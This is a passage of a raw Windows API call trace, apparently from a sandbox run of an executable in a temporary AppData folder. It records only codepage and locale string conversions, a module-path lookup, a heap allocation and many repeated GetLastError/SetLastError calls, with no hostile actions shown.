!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x08\x04\xf7\x47\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0098.498] GetLastError () returned 0x5 [0098.498] SetLastError (dwErrCode=0x5) [0098.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0098.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䥩獕鹀EĀ") returned 256 [0098.498] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䥩獕鹀EĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0098.498] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䥩獕鹀EĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0098.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x08\x04\xf7\x47\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0098.498] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x487820, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\34ab4241-89d8-4896-a0ef-745528a314bb\\a959.tmp.exe")) returned 0x5d [0098.498] GetLastError () returned 0x0 [0098.498] SetLastError (dwErrCode=0x0) [0098.498] GetLastError () returned 0x0 [0098.498] SetLastError (dwErrCode=0x0) [0098.498] GetLastError () returned 0x0 [0098.498] SetLastError (dwErrCode=0x0) [0098.498] GetLastError () returned 0x0 [0098.499] SetLastError (dwErrCode=0x0) [0098.499] GetLastError () returned 0x0 [0098.499] SetLastError (dwErrCode=0x0) [0098.499] GetLastError () returned 0x0 [0098.499] SetLastError (dwErrCode=0x0) [0098.499] GetLastError () returned 0x0 [0098.499] SetLastError (dwErrCode=0x0) [0098.499] GetLastError () returned 0x0 [0098.499] SetLastError (dwErrCode=0x0) [0098.499] GetLastError () returned 0x0 [0098.499] SetLastError (dwErrCode=0x0) [0098.499] GetLastError () returned 0x0 [0098.499] SetLastError (dwErrCode=0x0) [0098.499] GetLastError () returned 0x0 [0098.499] SetLastError (dwErrCode=0x0) [0098.499] GetLastError () returned 0x0 [0098.499] SetLastError (dwErrCode=0x0) [0098.499] GetLastError () returned 0x0 [0098.499] SetLastError (dwErrCode=0x0) [0098.499] GetLastError () returned 0x0 [0098.499] SetLastError (dwErrCode=0x0) [0098.499] GetLastError () returned 0x0 [0098.499] SetLastError (dwErrCode=0x0) [0098.499] GetLastError () returned 0x0 [0098.499] SetLastError (dwErrCode=0x0) [0098.499] GetLastError () returned 0x0 [0098.500] SetLastError (dwErrCode=0x0) [0098.500] GetLastError () returned 0x0 [0098.500] SetLastError (dwErrCode=0x0) [0098.500] GetLastError () returned 0x0 [0098.500] SetLastError (dwErrCode=0x0) [0098.500] GetLastError () returned 0x0 [0098.500] SetLastError (dwErrCode=0x0) [0098.500] GetLastError () returned 0x0 [0098.500] SetLastError (dwErrCode=0x0) [0098.500] GetLastError () returned 0x0 [0098.500] SetLastError (dwErrCode=0x0) [0098.500] GetLastError () returned 0x0 [0098.500] SetLastError (dwErrCode=0x0) [0098.500] GetLastError () returned 0x0 [0098.500] SetLastError (dwErrCode=0x0) [0098.500] GetLastError () returned 0x0 [0098.500] SetLastError (dwErrCode=0x0) [0098.500] GetLastError () returned 0x0 [0098.500] SetLastError (dwErrCode=0x0) [0098.500] GetLastError () returned 0x0 [0098.500] SetLastError (dwErrCode=0x0) [0098.500] GetLastError () returned 0x0 [0098.500] SetLastError (dwErrCode=0x0) [0098.500] GetLastError () returned 0x0 [0098.500] SetLastError (dwErrCode=0x0) [0098.501] GetLastError () returned 0x0 [0098.501] SetLastError (dwErrCode=0x0) [0098.501] GetLastError () returned 0x0 [0098.501] SetLastError (dwErrCode=0x0) [0098.501] GetLastError () returned 0x0 [0098.501] SetLastError (dwErrCode=0x0) [0098.501] GetLastError () returned 0x0 [0098.501] SetLastError (dwErrCode=0x0) [0098.501] GetLastError () returned 0x0 [0098.501] SetLastError (dwErrCode=0x0) [0098.501] GetLastError () returned 0x0 [0098.501] SetLastError (dwErrCode=0x0) [0098.501] GetLastError () returned 0x0 [0098.501] SetLastError (dwErrCode=0x0) [0098.501] GetLastError () returned 0x0 [0098.501] SetLastError (dwErrCode=0x0) [0098.501] GetLastError () returned 0x0 [0098.501] SetLastError (dwErrCode=0x0) [0098.501] GetLastError () returned 0x0 [0098.501] SetLastError (dwErrCode=0x0) [0098.501] GetLastError () returned 0x0 [0098.501] SetLastError (dwErrCode=0x0) [0098.501] GetLastError () returned 0x0 [0098.501] SetLastError (dwErrCode=0x0) [0098.501] GetLastError () returned 0x0 [0098.501] SetLastError (dwErrCode=0x0) [0098.502] GetLastError () returned 0x0 [0098.502] SetLastError (dwErrCode=0x0) [0098.502] GetLastError () returned 0x0 [0098.502] SetLastError (dwErrCode=0x0) [0098.502] GetLastError () returned 0x0 [0098.502] SetLastError (dwErrCode=0x0) [0098.502] GetLastError () returned 0x0 [0098.502] SetLastError (dwErrCode=0x0) [0098.502] GetLastError () returned 0x0 [0098.502] SetLastError (dwErrCode=0x0) [0098.502] GetLastError () returned 0x0 [0098.502] SetLastError (dwErrCode=0x0) [0098.502] GetLastError () returned 0x0 [0098.502] SetLastError (dwErrCode=0x0) [0098.502] GetLastError () returned 0x0 [0098.502] SetLastError (dwErrCode=0x0) [0098.502] GetLastError () returned 0x0 [0098.502] SetLastError (dwErrCode=0x0) [0098.502] GetLastError () returned 0x0 [0098.502] SetLastError (dwErrCode=0x0) [0098.502] GetLastError () returned 0x0 [0098.502] SetLastError (dwErrCode=0x0) [0098.502] GetLastError () returned 0x0 [0098.502] SetLastError (dwErrCode=0x0) [0098.502] GetLastError () returned 0x0 [0098.502] SetLastError (dwErrCode=0x0) [0098.503] GetLastError () returned 0x0 [0098.503] SetLastError (dwErrCode=0x0) [0098.503] GetLastError () returned 0x0 [0098.503] SetLastError (dwErrCode=0x0) [0098.503] GetLastError () returned 0x0 [0098.503] SetLastError (dwErrCode=0x0) [0098.503] GetLastError () returned 0x0 [0098.503] SetLastError (dwErrCode=0x0) [0098.503] GetLastError () returned 0x0 [0098.503] SetLastError (dwErrCode=0x0) [0098.503] GetLastError () returned 0x0 [0098.503] SetLastError (dwErrCode=0x0) [0098.503] GetLastError () returned 0x0 [0098.503] SetLastError (dwErrCode=0x0) [0098.503] GetLastError () returned 0x0 [0098.503] SetLastError (dwErrCode=0x0) [0098.503] GetLastError () returned 0x0 [0098.503] SetLastError (dwErrCode=0x0) [0098.503] GetLastError () returned 0x0 [0098.503] SetLastError (dwErrCode=0x0) [0098.503] GetLastError () returned 0x0 [0098.503] SetLastError (dwErrCode=0x0) [0098.503] GetLastError () returned 0x0 [0098.503] SetLastError (dwErrCode=0x0) [0098.503] GetLastError () returned 0x0 [0098.504] SetLastError (dwErrCode=0x0) [0098.504] GetLastError () returned 0x0 [0098.504] SetLastError (dwErrCode=0x0) [0098.504] GetLastError () returned 0x0 [0098.504] SetLastError (dwErrCode=0x0) [0098.504] GetLastError () returned 0x0 [0098.504] SetLastError (dwErrCode=0x0) [0098.504] GetLastError () returned 0x0 [0098.504] SetLastError (dwErrCode=0x0) [0098.504] GetLastError () returned 0x0 [0098.504] SetLastError (dwErrCode=0x0) [0098.504] GetLastError () returned 0x0 [0098.505] SetLastError (dwErrCode=0x0) [0098.505] GetLastError () returned 0x0 [0098.505] SetLastError (dwErrCode=0x0) [0098.505] GetLastError () returned 0x0 [0098.505] SetLastError (dwErrCode=0x0) [0098.505] GetLastError () returned 0x0 [0098.505] SetLastError (dwErrCode=0x0) [0098.505] GetLastError () returned 0x0 [0098.505] SetLastError (dwErrCode=0x0) [0098.505] GetLastError () returned 0x0 [0098.505] SetLastError (dwErrCode=0x0) [0098.505] GetLastError () returned 0x0 [0098.505] SetLastError (dwErrCode=0x0) [0098.505] GetLastError () returned 0x0 [0098.505] SetLastError (dwErrCode=0x0) [0098.505] GetLastError () returned 0x0 [0098.505] SetLastError (dwErrCode=0x0) [0098.505] GetLastError () returned 0x0 [0098.505] SetLastError (dwErrCode=0x0) [0098.505] GetLastError () returned 0x0 [0098.505] SetLastError (dwErrCode=0x0) [0098.505] GetLastError () returned 0x0 [0098.506] SetLastError (dwErrCode=0x0) [0098.506] GetLastError () returned 0x0 [0098.506] SetLastError (dwErrCode=0x0) [0098.506] GetLastError () returned 0x0 [0098.506] SetLastError (dwErrCode=0x0) [0098.506] GetLastError () returned 0x0 [0098.506] SetLastError (dwErrCode=0x0) [0098.506] GetLastError () returned 0x0 [0098.506] SetLastError (dwErrCode=0x0) [0098.506] GetLastError () returned 0x0 [0098.506] SetLastError (dwErrCode=0x0) [0098.506] GetLastError () returned 0x0 [0098.506] SetLastError (dwErrCode=0x0) [0098.506] GetLastError () returned 0x0 [0098.506] SetLastError (dwErrCode=0x0) [0098.506] GetLastError () returned 0x0 [0098.506] SetLastError (dwErrCode=0x0) [0098.506] GetLastError () returned 0x0 [0098.506] SetLastError (dwErrCode=0x0) [0098.506] GetLastError () returned 0x0 [0098.506] SetLastError (dwErrCode=0x0) [0098.506] GetLastError () returned 0x0 [0098.506] SetLastError (dwErrCode=0x0) [0098.506] GetLastError () returned 0x0 [0098.506] SetLastError (dwErrCode=0x0) [0098.506] GetLastError () returned 0x0 [0098.507] SetLastError (dwErrCode=0x0) [0098.507] GetLastError () returned 0x0 [0098.507] SetLastError (dwErrCode=0x0) [0098.507] GetLastError () returned 0x0 [0098.507] SetLastError (dwErrCode=0x0) [0098.507] GetLastError () returned 0x0 [0098.507] SetLastError (dwErrCode=0x0) [0098.507] GetLastError () returned 0x0 [0098.507] SetLastError (dwErrCode=0x0) [0098.507] GetLastError () returned 0x0 [0098.507] SetLastError (dwErrCode=0x0) [0098.507] GetLastError () returned 0x0 [0098.507] SetLastError (dwErrCode=0x0) [0098.507] GetLastError () returned 0x0 [0098.507] SetLastError (dwErrCode=0x0) [0098.507] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x76) returned 0x5719b0 [0098.507] GetLastError () returned 0x0 [0098.507] SetLastError (dwErrCode=0x0) [0098.507] GetLastError () returned 0x0 [0098.507] SetLastError (dwErrCode=0x0) [0098.507] GetLastError () returned 0x0 [0098.507] SetLastError (dwErrCode=0x0) [0098.507] GetLastError () returned 0x0 [0098.507] SetLastError (dwErrCode=0x0) [0098.507] GetLastError () returned 0x0 [0098.508] SetLastError (dwErrCode=0x0) [0098.508] GetLastError () returned 0x0 [0098.508] SetLastError (dwErrCode=0x0) [0098.508] GetLastError () returned 0x0 [0098.508] SetLastError (dwErrCode=0x0) [0098.508] GetLastError () returned 0x0 [0098.508] SetLastError (dwErrCode=0x0) [0098.508] GetLastError () returned 0x0 [0098.508] SetLastError (dwErrCode=0x0) [0098.508] GetLastError () returned 0x0 [0098.508] SetLastError (dwErrCode=0x0) [0098.508] GetLastError () returned 0x0 [0098.508] SetLastError (dwErrCode=0x0) [0098.508] GetLastError () returned 0x0 [0098.508] SetLastError (dwErrCode=0x0) [0098.508] GetLastError () returned 0x0 [0098.508] SetLastError (dwErrCode=0x0) [0098.508] GetLastError () returned 0x0 [0098.508] SetLastError (dwErrCode=0x0) [0098.508] GetLastError () returned 0x0 [0098.508] SetLastError (dwErrCode=0x0) [0098.508] GetLastError () returned 0x0 [0098.508] SetLastError (dwErrCode=0x0) [0098.508] GetLastError () returned 0x0 [0098.508] SetLastError (dwErrCode=0x0) [0098.508] GetLastError () returned 0x0 [0098.509] SetLastError (dwErrCode=0x0) [0098.509] GetLastError () returned 0x0 [0098.509] SetLastError (dwErrCode=0x0) [0098.509] GetLastError () returned 0x0 [0098.509] SetLastError (dwErrCode=0x0) [0098.509] GetLastError () returned 0x0 [0098.509] SetLastError (dwErrCode=0x0) [0098.509] GetLastError () returned 0x0 [0098.509] SetLastError (dwErrCode=0x0) [0098.509] GetLastError () returned 0x0 [0098.509] SetLastError (dwErrCode=0x0) [0098.509] GetLastError () returned 0x0 [0098.509] SetLastError (dwErrCode=0x0) [0098.509] GetLastError () returned 0x0 [0098.509] SetLastError (dwErrCode=0x0) [0098.509] GetLastError () returned 0x0 [0098.509] SetLastError (dwErrCode=0x0) [0098.509] GetLastError () returned 0x0 [0098.509] SetLastError (dwErrCode=0x0) [0098.509] GetLastError () returned 0x0 [0098.509] SetLastError (dwErrCode=0x0) [0098.509] GetLastError () returned 0x0 [0098.509] SetLastError (dwErrCode=0x0) [0098.509] GetLastError () returned 0x0 [0098.509] SetLastError (dwErrCode=0x0) [0098.509] GetLastError () returned 0x0 [0098.510] SetLastError (dwErrCode=0x0) [0098.510] GetLastError () returned 0x0 [0098.510] SetLastError (dwErrCode=0x0) [0098.510] GetLastError () returned 0x0 [0098.510] SetLastError (dwErrCode=0x0) [0098.510] GetLastError () returned 0x0 [0098.510] SetLastError (dwErrCode=0x0) [0098.510] GetLastError () returned 0x0 [0098.510] SetLastError (dwErrCode=0x0) [0098.510] GetLastError () returned 0x0 [0098.510] SetLastError (dwErrCode=0x0) [0098.510] GetLastError () returned 0x0 [0098.510] SetLastError (dwErrCode=0x0) [0098.510] GetLastError () returned 0x0 [0098.510] SetLastError (dwErrCode=0x0) [0098.510] GetLastError () returned 0x0 [0098.510] SetLastError (dwErrCode=0x0) [0098.510] GetLastError () returned 0x0 [0098.510] SetLastError (dwErrCode=0x0) [0098.510] GetLastError () returned 0x0 [0098.510] SetLastError (dwErrCode=0x0) [0098.510] GetLastError () returned 0x0 [0098.510] SetLastError (dwErrCode=0x0) [0098.510] GetLastError () returned 0x0 [0098.510] SetLastError (dwErrCode=0x0) [0098.511] GetLastError () returned 0x0 [0098.511] SetLastError (dwErrCode=0x0) [0098.511] GetLastError () returned 0x0 [0098.511] SetLastError (dwErrCode=0x0) [0098.511] GetLastError () returned 0x0 [0098.511] SetLastError (dwErrCode=0x0) [0098.511] GetLastError () returned 0x0 [0098.511] SetLastError (dwErrCode=0x0) [0098.511] GetLastError () returned 0x0 [0098.511] SetLastError (dwErrCode=0x0) [0098.511] GetLastError () returned 0x0 [0098.511] SetLastError (dwErrCode=0x0) [0098.511] GetLastError () returned 0x0 [0098.511] SetLastError (dwErrCode=0x0) [0098.511] GetLastError () returned 0x0 [0098.511] SetLastError (dwErrCode=0x0) [0098.511] GetLastError () returned 0x0 [0098.511] SetLastError (dwErrCode=0x0) [0098.511] GetLastError () returned 0x0 [0098.511] SetLastError (dwErrCode=0x0) [0098.511] GetLastError () returned 0x0 [0098.511] SetLastError (dwErrCode=0x0) [0098.511] GetLastError () returned 0x0 [0098.511] SetLastError (dwErrCode=0x0) [0098.511] GetLastError () returned 0x0 [0098.511] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 [0098.512] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 [0098.512] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 [0098.512] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 [0098.512] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 [0098.512] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 [0098.512] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 [0098.512] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 